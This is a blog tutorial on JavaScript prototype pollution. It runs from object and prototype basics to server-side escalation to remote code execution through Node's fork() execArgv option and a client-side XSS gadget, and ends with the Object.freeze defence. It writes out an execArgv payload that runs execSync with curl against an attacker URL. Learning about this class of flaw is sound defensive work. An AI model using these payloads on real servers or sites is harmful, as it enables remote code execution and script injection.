As security technologies evolve, the Prototype Pollution vulnerability emerges as one of the new challenges facing developers and security experts. This vulnerability, which allows attackers to manipulate JavaScript objects, requires constant awareness and the application of sound coding practices to effectively mitigate it.

&nbsp;

<h2>But first, let&rsquo;s understand: What is an object in JavaScript?</h2>

<img alt="" src="/media/blog/2024/09/25/scrn1.jpeg" style="height:788px; width:1400px" />

An object is essentially a collection of &quot;keys&quot; and &quot;values&quot; pairs, separated by a comma.

Values can contain almost any type of data, such as numbers, text, functions, and even other objects. It&#39;s worth noting that keys in objects are often referred to as &quot;properties,&quot; representing the data or functions associated with the object.

You can access object properties using two methods:

<ul>
	<li>Dot notation</li>
	<li>bracket notation.</li>
</ul>

Both can be used to access the same properties, although there are some differences, which we won&rsquo;t dive into now.

As mentioned earlier, objects can contain functions as well:

<img alt="" src="/media/blog/2024/09/25/scrn2.png" style="height:748px; width:986px" />

&nbsp;

<h2>What is a prototype in JavaScript?</h2>

In JavaScript, every object is linked to another type of object known as a prototype.

By default, JavaScript automatically assigns built-in prototypes to new objects.

To clarify this further, here are some examples of prototypes:

<ul>
	<li><code>Array.prototype</code>: The prototype that contains built-in functions and properties for arrays.</li>
	<li><code>Function.prototype</code>: Contains the basic functions for all functions.</li>
	<li><code>Object.prototype</code>: The top-level prototype in the chain, containing the general properties for all objects.</li>
</ul>

These prototypes provide a set of ready-to-use functions and properties for objects.

&nbsp;

<h2>How does object inheritance work in JavaScript?</h2>

When we try to access a property of an object, the search doesn&rsquo;t stop at the object itself. The property is also searched for in the object&rsquo;s prototype.

<img alt="" src="/media/blog/2024/09/25/scrn3.png" style="height:471px; width:838px" />

&nbsp;

<h2>Prototype chain:</h2>

The prototype chain refers to the hierarchical sequence of prototypes in JavaScript.

It&rsquo;s important to understand that the prototype itself is an object, meaning it also has its own prototype. This sequence continues until we reach the base prototype, which is <code>Object.prototype</code>, whose prototype is <code>null</code>.

In other words, <code>Object.prototype</code> is the end of the prototype chain, with no higher prototype. All objects in JavaScript are ultimately linked to this prototype, providing a common foundation for properties and functions. Although this concept may seem confusing at first, it becomes clearer when you realize that everything in JavaScript is essentially an object.

&nbsp;

<h2>Accessing an object&rsquo;s prototype:</h2>

Every object in JavaScript has a <code>__proto__</code> property, which allows you to access its prototype.

<img alt="" src="/media/blog/2024/09/25/scrn4.png" style="height:406px; width:1234px" />

&nbsp;

<h2>Prototype Pollution:</h2>

This vulnerability occurs when an object&rsquo;s prototype is altered, leading to unwanted effects on all objects linked to that prototype. For example, if an <code>isAdmin</code> property is added to an object&rsquo;s prototype with a value of <code>true</code>, all JavaScript objects will inherit this property. This presents the vulnerability, as an attacker could exploit this modification to elevate their privileges to admin rights in an unauthorized manner.

It&rsquo;s worth noting that if this property is pre-defined in the object, you cannot modify it, as shown in the image.

<img alt="" src="/media/blog/2024/09/25/scrn-5.png" style="height:1128px; width:848px" />

We can also use <code>constructor.prototype</code> if <code>__proto__</code> has been blocked by developers, achieving the same result:

<img alt="" src="/media/blog/2024/09/25/scrn6.png" style="height:368px; width:926px" />

&nbsp;

The vulnerability is categorized into two types:

<ol>
	<li>Server-side Prototype Pollution: Occurs when the vulnerability is exploited on the server, affecting JavaScript objects in the server environment, leading to more significant security risks.</li>
	<li>Reflected Prototype Pollution:In the first image, the API&rsquo;s normal response is shown. In the second image, after adding the <code>testing</code> property, we observe the reflection of this property in the response, indicating prototype pollution:</li>
</ol>

&nbsp;

<img alt="" src="/media/blog/2024/09/25/scrn7.png" style="height:767px; width:1427px" />

<img alt="" src="/media/blog/2024/09/25/scrn8.png" style="height:763px; width:1425px" />

<h2>Non-Reflected Prototype Pollution:</h2>

There are various techniques, and we&rsquo;ll mention just one&mdash;<code>json spaces override</code>, a feature in the Express framework that allows you to set the number of spaces in the response. We need to select the Raw tab in BurpSuite to notice the change.

In the first image, the API&rsquo;s normal response is shown, while in the second, we can see the difference in the response structure, where the number of spaces has increased, signaling the presence of the vulnerability.

We can also simply change the value of <code>isAdmin</code> to <code>true</code> using the same method, as shown in the last image.

<img alt="" src="/media/blog/2024/09/25/scrn9.png" style="height:760px; width:1431px" />

<img alt="" src="/media/blog/2024/09/25/scrn10.png" style="height:767px; width:1434px" />

<img alt="" src="/media/blog/2024/09/25/scrn11.png" style="height:758px; width:1422px" />

<h2>The Potential for Escalation to RCE (Remote Code Execution):</h2>

When the vulnerability exists on the server-side, there is potential for escalation to RCE. There are pre-tested techniques that eliminate the need to search for exploitable properties, most notably involving the <code>child_process</code> library, which contains functions like <code>spawn()</code>, <code>fork()</code>, and <code>execSync()</code>.

For example, let&rsquo;s see how the <code>fork()</code> function works:

<img alt="" src="/media/blog/2024/09/25/scrn12.png" />

&nbsp;

We can see clearly that it accepts an <code>options</code> object as an argument, which includes the <code>execArgv</code> property&mdash;a string array passed as arguments to the Node.js program (the program that runs JavaScript files) when executing <code>child.js</code>. Leaving this property <code>undefined</code> opens the door for vulnerability escalation.

To clarify further, we&rsquo;ll examine the <code>fork()</code> function&rsquo;s code on GitHub:

<img alt="" src="/media/blog/2024/09/25/scrn13.png" style="height:861px; width:1337px" />

&nbsp;

We can observe the line of code that can be leveraged to escalate the vulnerability:

execArgv = options.execArgv || process.execArgv;

This means <code>execArgv</code> is assigned to <code>options.execArgv</code> if it exists, or to <code>process.execArgv</code> if <code>options.execArgv</code> is undefined. This behaviour allows for exploitation, as we can manipulate the values in <code>execArgv</code>.

The values we will use in <code>execArgv</code> are:

--eval=require(&#39;child_process&#39;).execSync(&#39;curl &lt;attacker url&gt;&#39;)

Hopefully, this is clear. Now let&rsquo;s apply this in practice:

<img alt="" src="/media/blog/2024/09/25/scrn14.png" style="height:751px; width:1425px" />

Here is the request we received:

<img alt="" src="/media/blog/2024/09/25/scrn15.png" style="height:588px; width:1422px" />

Of course, you can execute any system commands you want, but for this example, we just used <code>curl</code>.

<h2>Client-side Prototype Pollution:</h2>

Occurs when the vulnerability is exploited in the browser environment, affecting JavaScript objects in the user interface.

Client-side prototype pollution is considered less dangerous than the server-side type, as it can lead to XSS (Cross-Site Scripting) vulnerabilities, which, while serious, are not as critical as RCE.

For example, we have this website:

<img alt="" src="/media/blog/2024/09/25/scrn16.png" style="height:967px; width:1559px" />

If we inject the query inside the URL and visit the browser&rsquo;s DevTools, we can create an object (<code>a</code>) and find that the vulnerability has indeed affected all objects.

<img alt="" src="/media/blog/2024/09/25/scrn17.png" style="height:489px; width:1547px" />

Now, we need to search for a &ldquo;gadget,&rdquo; which is a property that can be exploited. An example of a gadget is the <code>execArgv</code> property mentioned earlier in the server-side vulnerability.

When searching through the JavaScript files available on the site, we can observe that the <code>transport_url</code> property can be used, as it will be placed inside the <code>src</code> attribute of a <code>&lt;script&gt;</code>, as shown in the image:

<img alt="" src="/media/blog/2024/09/25/scrn18.png" style="height:628px; width:1006px" />

<img alt="" src="/media/blog/2024/09/25/scrn19.png" style="height:330px; width:864px" />

&nbsp;

Thus, we can inject an XSS exploit inside it, combining it with prototype pollution. Finally, here&rsquo;s the exploit:

<img alt="" src="/media/blog/2024/09/25/scrn20.png" style="height:811px; width:1572px" />

<img alt="" src="/media/blog/2024/09/25/scrn21.png" style="height:330px; width:1172px" />

There is a tool from Portswigger called DOM Invader that automates this process, and I recommend checking it out.

<h2>Conclusion</h2>

Prototype pollution poses a significant challenge for developers and security experts in the JavaScript world. As applications increasingly rely on JavaScript, the need for effective protection against these vulnerabilities becomes essential. Developers must adopt secure coding practices and implement strategies for early detection and patching of vulnerabilities.

To prevent prototype object alterations and reduce the risk of prototype pollution vulnerabilities, using the <code>Object.freeze()</code> method is an effective strategy.

<img alt="" src="/media/blog/2024/09/25/scrn22.png" style="height:406px; width:942px" />

Using <code>Object.freeze()</code> ensures that the properties of a prototype object cannot be modified or new properties added, helping to enhance application security.

By gaining a solid understanding of how prototypes work and staying aware of potential risks, developers can minimize the impact of prototype pollution and ensure the security of their applications.

<h2>Sources:</h2>

<ul>
	<li><a href="https://portswigger.net/web-security/all-labs#prototype-pollution">https://portswigger.net/web-security/all-labs#prototype-pollution</a></li>
	<li><a href="https://portswigger.net/web-security/prototype-pollution">https://portswigger.net/web-security/prototype-pollution</a></li>
</ul>

Introduction-to-Vulnerability-disclosure-program

In today's interconnected digital landscape, the constant evolution of technology brings with it an array of security challenges..

تخيل عالمنا بدون تطبيقات توصيل، ولا مواقع حجز تذاكر سفر أو حتى بدون هواتف ذكية وإنترنت. النتيجة هي عالم من الصعب العيش فيه..

We Are All Responsible | Introduction to Vulnerability Disclosure Program

كلنا مسؤول، نبذة عن برامج الإفصاح عن الثغرات وآلية عملها

Prototype-pollution-Vulnerability

As security technologies evolve, the Prototype Pollution vulnerability emerges as one of the new challenges facing developers and security experts. This vulnerability, which allows attackers to manipulate JavaScript objects, requires constant awareness and the application of sound coding practices to effectively mitigate it.

في الوقت الذي تتطور فيه تقنيات الأمان، تبرز ثغرةPrototype Pollution  كأحد التحديات الجديدة التي تواجه المطورين وخبراء الأمان. هذه الثغرة، التي تتيح للمهاجمين التلاعب بكائنات JavaScript ، تتطلب وعيًا دائمًا وتطبيق ممارسات برمجية سليمة لإغلاقها بشكل فعال.

ثغرة ال Prototype pollution

Sultan Bazhaer

اقرأ التالي

كلنا مسؤول، نبذة عن برامج الإفصاح عن الثغرات وآلية عملها